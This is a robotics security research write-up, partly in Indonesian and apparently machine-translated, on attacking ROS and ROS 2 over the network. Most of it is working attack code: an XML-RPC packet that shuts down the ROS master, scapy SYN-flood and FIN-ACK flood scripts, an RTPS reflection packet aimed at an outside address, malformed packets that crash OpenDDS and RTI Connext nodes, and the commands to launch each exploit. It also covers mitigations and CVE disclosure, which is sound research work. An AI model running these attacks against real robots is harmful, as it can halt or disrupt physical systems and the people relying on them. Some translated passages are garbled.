User_Agent=b"xmlrpclib.py/1.0.1 (by www.pythonware.com)",
Method=b"POST",
Path=b"/RPC2",
Http_Version=b"HTTP/1.1",
)
/ XMLRPC()
/ XMLRPCCall(
version=b"<?xml version='1.0'?>\n",
methodcall_opentag=b"<methodCall>\n",
methodname_opentag=b"<methodName>",
methodname=b"shutdown",
methodname_closetag=b"</methodName>\n",
params_opentag=b"<params>\n",
params=b"<param>\n<value><string>/rosparam-92418</string></value>\n</param>\n<param>\n<value><string>BOOM</string></value>\n</param>\n",
params_closetag=b"</params>\n",
methodcall_closetag=b"</methodCall>\n",
)
)
Paket ini akan memanggil shutdownmetode ROS 2 Master, mematikannya, beserta semua Node yang terkait.
Mari kita lihat serangan potensial lainnya terhadap ROS.
Serangan banjir DoS SYN-ACK untuk ROS
Banjir SYN adalah jenis serangan jaringan OSI Level 4 (Transport Layer). Ide dasarnya adalah membuat server tetap sibuk dengan koneksi yang tidak aktif, sehingga mengakibatkan Denial-of-Service (DoS) melalui jumlah koneksi yang telah mencapai batas maksimal. Secara garis besar, serangan ini bekerja sebagai berikut:
klien mengirimkan paket TCP SYN( Sbendera) untuk memulai koneksi dengan titik akhir tertentu (misalnya server).
Server merespons dengan sebuah SYN-ACKpaket, khususnya paket TCP SYN-ACK( SAbendera).
klien merespons kembali dengan ACKpaket (bendera). Dalam operasi normal, klien harus mengirim ACKpaket diikuti oleh data yang akan ditransfer, atau RSTbalasan untuk mengatur ulang koneksi. Pada server target, koneksi tetap terbuka, dalam SYN_RECVkeadaan, karena ACKpaket mungkin telah hilang karena masalah jaringan.
Dalam serangan tersebut, untuk menyalahgunakan proses jabat tangan ini, penyerang dapat mengirim Banjir SYN , banjir SYNpaket, dan tidak melakukan apa pun saat server merespons dengan SYN-ACKpaket. Server dengan sopan menunggu ujung lainnya merespons dengan ACKpaket, dan karena lebar pita ditetapkan, perangkat keras hanya memiliki jumlah koneksi tetap yang dapat dibuatnya. Akhirnya, paket SYN memaksimalkan koneksi yang tersedia ke server dengan koneksi yang menggantung. Soket baru akan mengalami penolakan layanan.
Serangan pembuktian konsep dikembangkan pada simulasi skenario target (di atas) untuk mengisolasi komunikasi. Eksploitasi serangan ditampilkan di bawah ini:
print("Capturing network traffic...")
packages = sniff(iface="eth0", filter="tcp", count=20)
targets = {}
for p in packages[TCPROSBody]:
# Filter by ip
# if p[IP].src == "12.0.0.2":
port = p.sport
ip = p[IP].src
if ip in targets.keys():
targets[ip].append(port)
else:
targets[ip] = [port]
# Get unique values:
for t in targets.keys():
targets[t] = list(set(targets[t]))
# Select one of the targets
dst_target = list(map(itemgetter(0), targets.items()))[0]
dport_target = targets[dst_target]
# Small fix to meet scapy syntax on "dport" key
# if single value, can't go as a list
if len(dport_target) < 2:
dport_target = dport_target[0]
p=IP(dst=dst_target,id=1111,ttl=99)/TCP(sport=RandShort(),dport=dport_target,seq=1232345,ack=10000,window=10000,flags="S")/"SYN Flood DoS"
ls(p)
ans,unans=srloop(p,inter=0.05,retry=2,timeout=4)
In many systems, attacker would find no issues executing this attack and would be able to bring down ROSTCP interactions if the target machine’s networking stack isn’t properly configured. To defend against this attack, a user would need to set up their kernel’s network stack appropriately. In particular, they’d need to ensure that TCP SYN cookies are enabled. SYN cookies work by not using the SYN queue at all. Instead, the kernel simply replies to the SYN with a SYN-ACK, but will include a specially crafted TCP sequence number that encodes the source and destination IP address, port number and the time the packet was sent. A legitimate connection would send the ACK packet of the three way handshake with the specially crafted sequence number. This allows the system to verify that it has received a valid response to a SY cookie and allow the connection, even though there is no corresponding SYN in the queue.
FIN-ACK flood attack targeting ROS
The previous SYN-ACK DoS flooding attack did not affect hardened control stations because it is blocked by SYN cookies at the Linux kernel level. I dug a bit further and looked for alternatives to disrupt ROS-Industrial communications, even in in the presence of hardening (at least to the best of my current knowledge).
After testing a variety of attacks against the ROS-Industrial network including ACK and PUSH ACK flooding, ACK Fragmentation flooding or Spoofed Session flooding among others, assuming the role of an attacker I developed a valid disruption proof-of-concept using the FIN-ACK attack. Roughly, soon after a successful three or four-way TCP-SYN session is established, the FIN-ACK attack sends a FIN packet to close the TCP-SYN session between a host and a client machine. Given a TCP-SYN session established by ROSTCP between two entities wherein one is relying information of the robot to the other (running the ROS master) for coordination, the FIN-ACK flood attack sends a large number of spoofed FIN packets that do not belong to any session on the target server. The attack has two consequences: first, it tries to exhaust a recipient’s resources – its RAM, CPU, etc. as the target tries to process these invalid requests. Second, the communication is being constantly finalized by the attacker which leads to ROS messages being lost in the process, leading to the potential loss of relevant data or a significant lowering of the reception rate which might affect the performance of certain robotic algorithms.
The following script displays the simple proof-of-concept developed configured for validating the attack in the simplified isolated scenario.
def tcpros_fin_ack():
"""
crafting a FIN ACK interrupting publisher's comms
"""
flag_valid = True
targetp = None
targetp_ack = None
# fetch 10 tcp packages
while flag_valid:
packages = sniff(iface="eth0", filter="tcp", count=4)
if len(packages[TCPROSBody]) < 1:
continue
else:
# find first TCPROSBody and pick a target
targetp = packages[TCPROSBody][-1] # pick latest instance
index = packages.index(packages[TCPROSBody][-1])
for i in range(index + 1, len(packages)):
targetp_ack = packages[i]
# check if the ack matches appropriately
if targetp[IP].src == targetp_ack[IP].dst and \
targetp[IP].dst == targetp_ack[IP].src and \
targetp[TCP].sport == targetp_ack[TCP].dport and \
targetp[TCP].dport == targetp_ack[TCP].sport and \
targetp[TCP].ack == targetp_ack[TCP].seq:
flag_valid = False
break
if not flag_valid and targetp_ack and targetp:
# Option 2
p_attack =IP(src=targetp[IP].src, dst=targetp[IP].dst,id=targetp[IP].id + 1,ttl=99)\
/TCP(sport=targetp[TCP].sport,dport=targetp[TCP].dport,flags="FA", seq=targetp_ack[TCP].ack,
ack=targetp_ack[TCP].seq)
ans = sr1(p_attack, retry=0, timeout=1)
if ans and len(ans) > 0 and ans[TCP].flags == "FA":
p_ack =IP(src=targetp[IP].src, dst=targetp[IP].dst,id=targetp[IP].id + 1,ttl=99)\
/TCP(sport=targetp[TCP].sport,dport=targetp[TCP].dport,flags="A", seq=ans[TCP].ack,
ack=ans[TCP].seq + 1)
send(p_ack)
while True:
tcpros_fin_ack()
The following figure shows the result of the FIN-ACK attack on a targeted machine. Image displays a significant reduction of the reception rate and down to more than half (4.940 Hz) from the designated 10 Hz of transmission. The information sent from the publisher consists of an iterative integer number however the data received in the target under attack shows significant integer jumps, which confirm the package losses. More elaborated attacks could be built upon using a time-sensitive approach. A time-sensitive approach could lead to more elaborated attacks.
Robot Operating System (ROS) 2
The Robot Operating System (ROS) is the de facto standard for robot application development (Quigley, Gerkey, et al. 2009). It’s a framework for creating robot behaviors that comprises various stacks and capabilities for message passing, perception, navigation, manipulation or security, among others. It’s estimated that by 2024, 55% of the total commercial robots will be shipping at least one ROS package. ROS is to roboticists what Linux is to computer scientists.
This case study will analyze the security of ROS 2Official e-manual of TB3 http://emanual.robotis.com/docs/en/platform/turtlebot3/overview/
and demonstrate how flaws on both ROS 2 or its underlayers lead to the system being compromised.
Dissecting ROS 2 network interactions through RTPS
To hack ROS 2, we’ll be using a network dissector of the underlying default communication middleware that ROS 2 uses: DDS. DDS stands for Data Distribution Service and is a middleware technology used in critical applications like autonomous driving, industrial and consumer robotics, healthcare machinery or military tactical systems, among others.
In collaboration with other researchers, we built a DDS (more specifically, a Real-Time Publish Subscribe (RTPS) protocol) dissector to tinker with the ROS 2 communications. For a stable (known to work for the PoCs presented below) branch of the dissector, refer to https://github.com/vmayoral/scapy/tree/rtps or alternatively, refer to the official Pull Request we sent to scapy for upstream integration.
The package dissector allows to both dissect and craft, which will be helpful while checking the resilience of ROS 2 communications. E.g., the following Python piece shows how to craft a simple empty RTPS package that will interoperate with ROS 2 Nodes:
A simple empty RTPS package
rtps_package = RTPS(
protocolVersion=ProtocolVersionPacket(major=2, minor=4),
vendorId=VendorIdPacket(vendor_id=b"\x01\x03"),
guidPrefix=GUIDPrefixPacket(
hostId=16974402, appId=2886795266, instanceId=1172693757
),
magic=b"RTPS",
)
Let’s get started by dockerizing an arbitrary targeted ROS 2 system.
Dockerizing the target environment
ROS 2 is nicely integrated with Docker, which simplifies creating a hacking development environment. Let’s build on top of the default ROS 2 containers and produce two targets for the latest LTS ROS 2 release: ROS 2 Foxy (latest LTS)
Build for Foxy from source and run
# Build may take a while depending on your machine specs
docker build -t hacking_ros2:foxy --build-arg DISTRO=foxy .
Run headless
# Launch container
docker run -it hacking_ros2:foxy /bin/bash
# Now test the dissector
cat << EOF > /tmp/rtps_test.py
from scapy.all import *
from scapy.layers.inet import UDP, IP
from scapy.contrib.rtps import *
bind_layers(UDP, RTPS)
conf.verb = 0
rtps_package = RTPS(
protocolVersion=ProtocolVersionPacket(major=2, minor=4),
vendorId=VendorIdPacket(vendor_id=b"\x01\x03"),
guidPrefix=GUIDPrefixPacket(
hostId=16974402, appId=2886795266, instanceId=1172693757
),
magic=b"RTPS",
)
hexdump(rtps_package)
rtps_package.show()
EOF
python3 /tmp/rtps_test.py
0000 52 54 50 53 02 04 01 03 01 03 02 42 AC 11 00 02 RTPS.......B....
0010 45 E5 E2 FD E...
###[ RTPS Header ]###
magic = 'RTPS'
\protocolVersion\
|###[ RTPS Protocol Version ]###
| major = 2
| minor = 4
\vendorId \
|###[ RTPS Vendor ID ]###
| vendor_id = Object Computing Incorporated, Inc. (OCI) - OpenDDS
\guidPrefix\
|###[ RTPS GUID Prefix ]###
| hostId = 0x1030242
| appId = 0xac110002
| instanceId= 0x45e5e2fd
Run, using X11
xhost + # (careful with this! use your IP instead if possible)
docker run -it -v /tmp/.X11-unix:/tmp/.X11-unix -e DISPLAY=$DISPLAY -v $HOME/.Xauthority:/home/xilinx/.Xauthority hacking_ros2:foxy
ROS 2 reconnaissance
ROS 2 menggunakan DDS sebagai middleware komunikasi default. Untuk menemukan Node komputasional ROS 2, seseorang dapat mengandalkan mekanisme penemuan DDS. Berikut ini isi respons penemuan arbitrer yang diperoleh dari salah satu implementasi DDS paling populer: Cyclone DDS.
0000 52 54 50 53 02 01 01 10 01 10 5C 8E 2C D4 58 47 RTPS......\.,.XG
0010 FA 5A 30 D3 09 01 08 00 6E 91 76 61 09 C4 5C E5 .Z0.....n.va..\.
0020 15 05 F8 00 00 00 10 00 00 00 00 00 00 01 00 C2 ................
0030 00 00 00 00 01 00 00 00 00 03 00 00 2C 00 1C 00 ............,...
0040 17 00 00 00 44 44 53 50 65 72 66 3A 30 3A 35 38 ....DDSPerf:0:58
0050 3A 74 65 73 74 2E 6C 6F 63 61 6C 00 15 00 04 00 :test.local.....
0060 02 01 00 00 16 00 04 00 01 10 00 00 02 00 08 00 ................
0070 00 00 00 00 38 89 41 00 50 00 10 00 01 10 5C 8E ....8.A.P.....\.
0080 2C D4 58 47 FA 5A 30 D3 00 00 01 C1 58 00 04 00 ,.XG.Z0.....X...
0090 00 00 00 00 0F 00 04 00 00 00 00 00 31 00 18 00 ............1...
00a0 01 00 00 00 6A 7A 00 00 00 00 00 00 00 00 00 00 ....jz..........
00b0 00 00 00 00 C0 A8 01 55 32 00 18 00 01 00 00 00 .......U2.......
00c0 6A 7A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 jz..............
00d0 C0 A8 01 55 07 80 38 00 00 00 00 00 2C 00 00 00 ...U..8.....,...
00e0 00 00 00 00 00 00 00 00 00 00 00 00 1D 00 00 00 ................
00f0 74 65 73 74 2E 6C 6F 63 61 6C 2F 30 2E 39 2E 30 test.local/0.9.0
0100 2F 4C 69 6E 75 78 2F 4C 69 6E 75 78 00 00 00 00 /Linux/Linux....
0110 19 80 04 00 00 80 06 00 01 00 00 00 ............
Dengan menggunakan disektor RTPS, kita dapat menyusun permintaan penemuan dan mengirimkannya ke mesin yang ditargetkan, memproses respons dan menentukan apakah ada peserta DDS yang aktif dalam mesin tersebut dan DOMAIN_ID.
Mari buat paket sebagai berikut dan kirimkan ke target yang di-dockerisasi yang telah kita buat sebelumnya:
Paket RTPS kosong sederhana
## terminal 1 - ROS 2 Node
docker run -it --net=host hacking_ros2:foxy -c "source /opt/opendds_ws/install/setup.bash; RMW_IMPLEMENTATION=rmw_cyclonedds_cpp /opt/opendds_ws/install/lib/examples_rclcpp_minimal_publisher/publisher_lambda"
## terminal 2 - Attacker (reconnaissance)
python3 exploits/footprint.py 2> /dev/null
Meskipun implementasi DDS mematuhi spesifikasi DDS OMG , respons penemuan bervariasi di antara implementasi. Rekaman berikut menunjukkan bagaimana meskipun paket yang dibuat memungkinkan untuk menentukan keberadaan Node ROS 2 yang menjalankan implementasi CycloneDDS (Galactic-default), ketika diubah ke Fast-DDS (implementasi DDS lain, sebelumnya disebut FastRTPS dan default di Foxy), tidak ada respons terhadap pesan penemuan yang diterima.
PoC pengintaian ROS 2
Serangan refleksi ROS 2
Serangan refleksi ROS 2
Setiap RTPSSubMessage_DATAsubpesan paket RTPS dapat memiliki beberapa parameter. Salah satu parameter tersebut adalah PID_METATRAFFIC_MULTICAST_LOCATOR. Didefinisikan pada spesifikasi RTPS OMG , ini memungkinkan untuk memberi petunjuk alamat mana yang harus digunakan untuk interaksi multicast. Sayangnya, tidak ada daftar putih IP mana yang akan disertakan di sini dan semua implementasi memungkinkan IP acak di bidang ini. Dengan memodifikasi nilai ini melalui paket, penyerang dapat memberi petunjuk Node ROS 2 (melalui implementasi DDS yang mendasarinya) untuk menggunakan alamat IP multicast baru (misalnya server jahat yang menghasilkan lalu lintas berkelanjutan dan respons untuk membebani tumpukan dan menghasilkan lalu lintas yang tidak diinginkan) yang dapat digunakan untuk memicu serangan refleksi (atau amplifikasi).
Paket RTPS yang memicu serangan refleksi
Berikut ini contoh paket yang dibuat dengan dissector kami:
from scapy.all import *
from scapy.layers.inet import UDP, IP
from scapy.contrib.rtps import *
bind_layers(UDP, RTPS)
conf.verb = 0
dst = "172.17.0.2"
sport = 17900
dport = 7400
package = (
IP(
version=4,
ihl=5,
tos=0,
len=288,
id=41057,
flags=2,
frag=0,
dst=dst,
)
/ UDP(sport=45892, dport=dport, len=268)
/ RTPS(
protocolVersion=ProtocolVersionPacket(major=2, minor=4),
vendorId=VendorIdPacket(vendor_id=b"\x01\x03"),
guidPrefix=GUIDPrefixPacket(
hostId=16974402, appId=2886795267, instanceId=10045242
),
magic=b"RTPS",
)
/ RTPSMessage(
submessages=[
RTPSSubMessage_DATA(
submessageId=21,
submessageFlags=5,
octetsToNextHeader=0,
extraFlags=0,
octetsToInlineQoS=16,
readerEntityIdKey=0,
readerEntityIdKind=0,
writerEntityIdKey=256,
writerEntityIdKind=194,
writerSeqNumHi=0,
writerSeqNumLow=1,
data=DataPacket(
encapsulationKind=3,
encapsulationOptions=0,
parameterList=ParameterListPacket(
parameterValues=[
PID_BUILTIN_ENDPOINT_QOS(
parameterId=119,
parameterLength=4,
parameterData=b"\x00\x00\x00\x00",
),
PID_DOMAIN_ID(
parameterId=15,
parameterLength=4,
parameterData=b"*\x00\x00\x00",
),
PID_PROTOCOL_VERSION(
parameterId=21,
parameterLength=4,
protocolVersion=ProtocolVersionPacket(major=2, minor=4),
padding=b"\x00\x00",
),
PID_PARTICIPANT_GUID(
parameterId=80,
parameterLength=16,
parameterData=b"\x01\x03\x02B\xac\x11\x00\x03\x00\x99G:\x00\x00\x01\xc1",
),
PID_VENDOR_ID(
parameterId=22,
parameterLength=4,
vendorId=VendorIdPacket(vendor_id=b"\x01\x03"),
padding=b"\x00\x00",
),
PID_PARTICIPANT_BUILTIN_ENDPOINTS(
parameterId=68,
parameterLength=4,
parameterData=b"?\xfc\x00\x00",
),
PID_BUILTIN_ENDPOINT_SET(
parameterId=88,
parameterLength=4,
parameterData=b"?\xfc\x00\x00",
),
PID_METATRAFFIC_UNICAST_LOCATOR(
parameterId=50,
parameterLength=24,
locator=LocatorPacket(
locatorKind=16777216, port=47324, address="8.8.8.8"
),
),
PID_METATRAFFIC_MULTICAST_LOCATOR(
parameterId=51,
parameterLength=24,
locator=LocatorPacket(
locatorKind=16777216,
port=17902,
address="239.255.0.1",
),
),
PID_DEFAULT_UNICAST_LOCATOR(
parameterId=49,
parameterLength=24,
locator=LocatorPacket(
locatorKind=16777216,
port=12345,
address="127.0.0.1",
),
),
PID_DEFAULT_MULTICAST_LOCATOR(
parameterId=72,
parameterLength=24,
locator=LocatorPacket(
locatorKind=16777216,
port=12345,
address="127.0.0.1",
),
),
PID_PARTICIPANT_MANUAL_LIVELINESS_COUNT(
parameterId=52,
parameterLength=4,
parameterData=b"\x00\x00\x00\x00",
),
PID_UNKNOWN(
parameterId=45061,
parameterLength=4,
parameterData=b"\x03\x00\x00\x00",
),
PID_PARTICIPANT_LEASE_DURATION(
parameterId=2,
parameterLength=8,
parameterData=b",\x01\x00\x00\x00\x00\x00\x00",
),
],
sentinel=PID_SENTINEL(parameterId=1, parameterLength=0),
),
),
)
]
)
)
send(package)
Untuk sepenuhnya menghindari kelemahan ini, diperlukan implementasi DDS yang tidak sesuai dengan spesifikasi standar (yang tidak dapat diterima oleh berbagai vendor karena mereka mendapatkan keuntungan dari interoperabilitas yang disediakan oleh kepatuhan terhadap standar). Mitigasi parsial telah muncul yang menerapkan strategi peluruhan eksponensial untuk amplifikasi lalu lintas, sehingga eksploitasinya menjadi lebih menantang.
Masalah keamanan ini memengaruhi semua implementasi DDS dan akibatnya, semua Node ROS 2 yang dibangun di atas DDS. Sebagai bagian dari penelitian ini, berbagai ID CVE diajukan:
ID CVE Keterangan Cakupan CVSS Catatan
CVE-2021-38487 RTI Connext DDS Professional, Connext DDS Secure Versi 4.2x hingga 6.1.0, dan Connext DDS Micro Versi 3.0.0 dan yang lebih baru rentan saat penyerang mengirim paket yang dibuat khusus untuk membanjiri perangkat korban dengan lalu lintas yang tidak diinginkan, yang dapat mengakibatkan kondisi penolakan layanan. KoneksiDDS, ROS 2 * 8.6 Patch mitigasi di >= 6.1.0
CVE-2021-38429 Versi OCI OpenDDS sebelum 3.18.1 rentan saat penyerang mengirim paket yang dibuat khusus untuk membanjiri perangkat korban dengan lalu lintas yang tidak diinginkan, yang dapat mengakibatkan kondisi penolakan layanan. OpenDDS, ROS 2 * 8.6 Patch mitigasi di >= 3.18.1
CVE-2021-38425 Versi eProsima Fast-DDS sebelum 2.4.0 (#2269) rentan terhadap eksploitasi saat penyerang mengirim paket yang dibuat khusus untuk membanjiri perangkat target dengan lalu lintas yang tidak diinginkan, yang dapat mengakibatkan kondisi penolakan layanan. eProsima Cepat-DDS, ROS 2 * 8.6 Mitigasi WIP di master
Mencobanya:
Mari kita coba ini di lingkungan docker menggunakan byobu untuk memudahkan pengaturan:
## terminal 1 - ROS 2 Node
# Launch container
docker run -it hacking_ros2:foxy /bin/bash
# (inside of the container), launch configuration
byobu -f configs/ros2_reflection.conf attach
## terminal 1 - attacker
# Launch the exploit
sudo python3 exploits/reflection.py 2> /dev/null
Node ROS 2 mogok
Pengujian fuzz sering kali membantu menemukan kelemahan yang tidak biasa akibat kesalahan pemrograman dalam implementasi terkait. Dua hal berikut ditemukan saat melakukan pengujian fuzz dengan cara white-box (dengan akses ke kode sumber):
ID CVE Keterangan Cakupan CVSS Catatan
CVE-2021-38447 Versi OCI OpenDDS sebelum 3.18.1 rentan saat penyerang mengirim paket yang dibuat khusus untuk membanjiri perangkat target dengan lalu lintas yang tidak diinginkan, yang dapat mengakibatkan kondisi penolakan layanan. OpenDDS, ROS 2 * 8.6 Kelelahan sumber daya >= 3.18.1
CVE-2021-38445 Versi OCI OpenDDS sebelum 3.18.1 tidak menangani parameter panjang yang konsisten dengan panjang sebenarnya dari data terkait, yang dapat memungkinkan penyerang untuk mengeksekusi kode sembarangan dari jarak jauh. OpenDDS, ROS 2 * 7.0 Pernyataan gagal >= 3.18.1
Keduanya memengaruhi OpenDDS. Mari kita coba CVE-2021-38445 yang menyebabkan Node ROS 2 mogok atau menjalankan kode sembarangan karena DDS tidak menangani panjang parameter PID_BUILTIN_ENDPOINT_QOSdalam subpesan RTPS dengan benar RTPSSubMessage_DATA. Kita akan mereproduksi ini dalam lingkungan docker menggunakan byobu untuk memudahkan penyiapan:
## terminal 1 - ROS 2 Node
# Launch container
docker run -it hacking_ros2:foxy -c "byobu -f configs/ros2_crash.conf attach"
# docker run -it --privileged --net=host hacking_ros2:foxy -c "byobu -f configs/ros2_crash.conf attach"
## terminal 2 - attacker
# Launch the exploit
sudo python3 exploits/crash.py 2> /dev/null
Node ROS 2 mogok
Aspek kunci di sini adalah parameterLengthnilai:
Paket RTPS dengan parameterLength yang salah
PID_BUILTIN_ENDPOINT_QOS(
parameterId=119,
parameterLength=0,
parameterData=b"\x00\x00\x00\x00",
),
Melihat lebih dalam pada masalah crash
Cacat ini telah diperbaiki di OpenDDS >3.18.1 tetapi jika Anda ingin menyelidikinya lebih dalam, debug node, temukan kerusakannya, dan periksa lebih lanjut kode sumbernya. Berikut beberapa kiat untuk melakukannya:
## terminal 1 - ROS 2 Node
# rebuild workspace with debug symbols
colcon build --merge-install --packages-up-to examples_rclcpp_minimal_publisher --cmake-args -DCMAKE_BUILD_TYPE=Debug
lalu debug node tersebut dengan gdb:
## terminal 1 - ROS 2 Node
apt-get install gdb # install gdb
wget -P ~ https://git.io/.gdbinit # get a comfortable debugging environment
source /opt/opendds_ws/install/setup.bash
export RMW_IMPLEMENTATION=rmw_opendds_cpp
# launch debugging session with OpenDDS
gdb /opt/opendds_ws/install/lib/examples_rclcpp_minimal_publisher/publisher_lambda
Jika dilakukan dengan benar, ini akan membawa Anda ke hal berikut:
─── Assembly ─────────────────────────────────────────────────────────────────────────────────────
0x00007f2c8479517a __GI_raise+186 xor %edx,%edx
0x00007f2c8479517c __GI_raise+188 mov %r9,%rsi
0x00007f2c8479517f __GI_raise+191 mov $0x2,%edi
0x00007f2c84795184 __GI_raise+196 mov $0xe,%eax
0x00007f2c84795189 __GI_raise+201 syscall
0x00007f2c8479518b __GI_raise+203 mov 0x108(%rsp),%rax
0x00007f2c84795193 __GI_raise+211 xor %fs:0x28,%rax
0x00007f2c8479519c __GI_raise+220 jne 0x7f2c847951c4 <__GI_raise+260>
0x00007f2c8479519e __GI_raise+222 mov %r8d,%eax
0x00007f2c847951a1 __GI_raise+225 add $0x118,%rsp
─── Breakpoints ──────────────────────────────────────────────────────────────────────────────────
─── Expressions ──────────────────────────────────────────────────────────────────────────────────
─── History ──────────────────────────────────────────────────────────────────────────────────────
─── Memory ───────────────────────────────────────────────────────────────────────────────────────
─── Registers ────────────────────────────────────────────────────────────────────────────────────
rax 0x0000000000000000 rbx 0x00007f2c81b49700 rcx 0x00007f2c8479518b
rdx 0x0000000000000000 rsi 0x00007f2c81b479d0 rdi 0x0000000000000002
rbp 0x00007f2c8490a588 rsp 0x00007f2c81b479d0 r8 0x0000000000000000
r9 0x00007f2c81b479d0 r10 0x0000000000000008 r11 0x0000000000000246
r12 0x00007f2c83af1e00 r13 0x0000000000000176 r14 0x00007f2c83af21c4
r15 0x0000000000000000 rip 0x00007f2c8479518b eflags [ PF ZF IF ]
cs 0x00000033 ss 0x0000002b ds 0x00000000
es 0x00000000 fs 0x00000000 gs 0x00000000
─── Source ───────────────────────────────────────────────────────────────────────────────────────
Cannot display "raise.c"
─── Stack ────────────────────────────────────────────────────────────────────────────────────────
[0] from 0x00007f2c8479518b in __GI_raise+203 at ../sysdeps/unix/sysv/linux/raise.c:50
[1] from 0x00007f2c84774859 in __GI_abort+299 at abort.c:79
[2] from 0x00007f2c84774729 in __assert_fail_base+-71239 at assert.c:92
[3] from 0x00007f2c84785f36 in __GI___assert_fail+70 at assert.c:101
[4] from 0x00007f2c836bbc38 in OpenDDS::DCPS::Serializer::smemcpy(char*, char const*, unsigned long)+66 at /opt/OpenDDS/dds/DCPS/Serializer.cpp:374
[5] from 0x00007f2c81cc51ba in OpenDDS::DCPS::Serializer::doread(char*, unsigned long, bool, unsigned long)+250 at ../../../../dds/DCPS/Serializer.inl:243
[6] from 0x00007f2c81cc52a0 in OpenDDS::DCPS::Serializer::buffer_read(char*, unsigned long, bool)+78 at ../../../../dds/DCPS/Serializer.inl:296
[7] from 0x00007f2c81cc5537 in OpenDDS::DCPS::operator>>(OpenDDS::DCPS::Serializer&, unsigned int&)+89 at ../../../../dds/DCPS/Serializer.inl:1193
[8] from 0x00007f2c83f78bf8 in OpenDDS::DCPS::operator>>(OpenDDS::DCPS::Serializer&, OpenDDS::RTPS::Parameter&)+7538 at /opt/OpenDDS/dds/DCPS/RTPS/RtpsCoreTypeSupportImpl.cpp:13064
[9] from 0x00007f2c83f6f2e6 in OpenDDS::DCPS::operator>>(OpenDDS::DCPS::Serializer&, OpenDDS::RTPS::ParameterList&)+102 at /opt/OpenDDS/dds/DCPS/RTPS/RtpsCoreTypeSupportImpl.cpp:9890
[+]
─── Threads ──────────────────────────────────────────────────────────────────────────────────────
[7] id 16227 name publisher_lambd from 0x00007f2c8473c376 in futex_wait_cancelable+29 at ../sysdeps/nptl/futex-internal.h:183
[6] id 16226 name publisher_lambd from 0x00007f2c8486712b in __GI___select+107 at ../sysdeps/unix/sysv/linux/select.c:41
[5] id 16215 name publisher_lambd from 0x00007f2c8473c376 in futex_wait_cancelable+29 at ../sysdeps/nptl/futex-internal.h:183
[4] id 16214 name publisher_lambd from 0x00007f2c8479518b in __GI_raise+203 at ../sysdeps/unix/sysv/linux/raise.c:50
[3] id 16213 name publisher_lambd from 0x00007f2c8473f3f4 in futex_abstimed_wait_cancelable+42 at ../sysdeps/nptl/futex-internal.h:320
[2] id 16212 name publisher_lambd from 0x00007f2c8486712b in __GI___select+107 at ../sysdeps/unix/sysv/linux/select.c:41
[1] id 16170 name publisher_lambd from 0x00007f2c8473c7b1 in futex_abstimed_wait_cancelable+415 at ../sysdeps/nptl/futex-internal.h:320
─── Variables ────────────────────────────────────────────────────────────────────────────────────
arg sig = 6
loc set = {__val = {[0] = 18446744067266838239, [1] = 139829178189904, [2] = 4222451712, [3] = 139828901466080…, pid = <optimized out>, tid = <optimized out>
──────────────────────────────────────────────────────────────────────────────────────────────────
Kredit
Penelitian ini merupakan hasil kerja sama antara berbagai peneliti keamanan dan dilaporkan dalam laporan ini . Berikut ini adalah beberapa orang yang turut ambil bagian (berdasarkan urutan abjad):
Chizuru Toyama
Erik Boasson
Federico Maggi
Mars Cheng
Patrick Kuo
Ta-Lun Yen
Victor Mayoral-Vilches
Kura-kura Bot 3 (TB3)
Berdasarkan studi kasus ROS 2 sebelumnya , bagian ini bertujuan untuk menunjukkan bagaimana kerentanan ROS 2 dapat langsung diubah menjadi robot lengkap dan bagaimana penyerang dapat mengeksploitasinya.
Lingkungan Dockerisasi
Seperti pada kasus sebelumnya, jika memungkinkan, kami akan memfasilitasi lingkungan berbasis Docker sehingga Anda dapat mencoba sendiri! Berikut ini salah satunya:
CATATAN : Proses penyiapan RTI Connext telah diberi komentar sehingga Anda harus melanjutkan, menghapus komentar blok tersebut di Dockerfile dan membangun dengan risiko Anda sendiri.
# Build
docker build -t hacking_tb3:foxy --build-arg DISTRO=foxy .
# Run headless
docker run -it hacking_tb3:foxy -c "/bin/bash"
# Run headless with byobu config using both Fast-DDS and RTI's Connext
docker run -it hacking_tb3:foxy -c "/usr/bin/byobu -f /opt/configs/pocs_headless_connext.conf attach"
# Run headless sharing host's network
docker run -it --privileged --net=host hacking_tb3:foxy -c "/usr/bin/byobu -f /opt/configs/pocs_headless.conf attach"
# Run headless sharing host's network, and with some nodes launched using OpenDDS
docker run -it --privileged --net=host hacking_tb3:foxy -c "/usr/bin/byobu -f /opt/configs/pocs_headless_opendds.conf attach"
# Run, using X11
xhost + # (careful with this)
docker run -it -v /tmp/.X11-unix:/tmp/.X11-unix -e DISPLAY=$DISPLAY -v $HOME/.Xauthority:/home/xilinx/.Xauthority hacking_tb3:foxy -c "/usr/bin/byobu -f /opt/configs/pocs_connext.conf attach"
Mencari TB3 di sekitar (pengintaian)
python3 exploits/footprint.py 2> /dev/null
Ia akan menemukan node CycloneDDS teleop_keyboard, yang merespons paket yang dibuat dan mengidentifikasi titik akhir yang sesuai.
Mengacaukan lalu lintas TB3
python3 exploits/reflection.py 2> /dev/null
TB3 yang mogok menjalankan DDS “terbaik di dunia”: RTI Connext
Paket RTPS dengan parameterLength yang salah
Real Time Innovations (RTI) adalah salah satu vendor DDS terkemuka. Mereka mengklaim memiliki pelanggan di berbagai kasus penggunaan di bidang medis, kedirgantaraan, industri, dan militer. Mereka menyelenggarakan webinar berkala tentang keamanan, tetapi di luar tindakan pemasaran ini, praktik dan kesadaran keamanan mereka tampaknya tidak memenuhi standar industri keamanan. Bagian ini akan menunjukkan cara memanfaatkan CVE-2021-38435 yang telah diungkapkan di TurtleBot 3 dengan RTI Connext, yang diputuskan RTI untuk tidak memberikan kredit kepada peneliti keamanan asli (kami 😜).
Dari penelitian yang kami laporkan, dapat disimpulkan sebagai berikut:
ID CVE Keterangan Cakupan CVSS Catatan
CVE-2021-38435 RTI Connext DDS Professional, Connext DDS Secure Versi 4.2x hingga 6.1.0, dan Connext DDS Micro Versi 3.0.0 dan yang lebih baru tidak menghitung ukuran dengan benar saat mengalokasikan buffer, yang dapat mengakibatkan luapan buffer KoneksiDDS, ROS 2 * 8.6 Kesalahan segmentasi melalui jaringan >= 6.1.0
Kelemahan keamanan dalam kasus ini hanya memengaruhi RTI Connext DDS dan merupakan kesalahan segmentasi yang disebabkan oleh paket RTPS cacat yang dapat dipicu dari jarak jauh melalui jaringan.
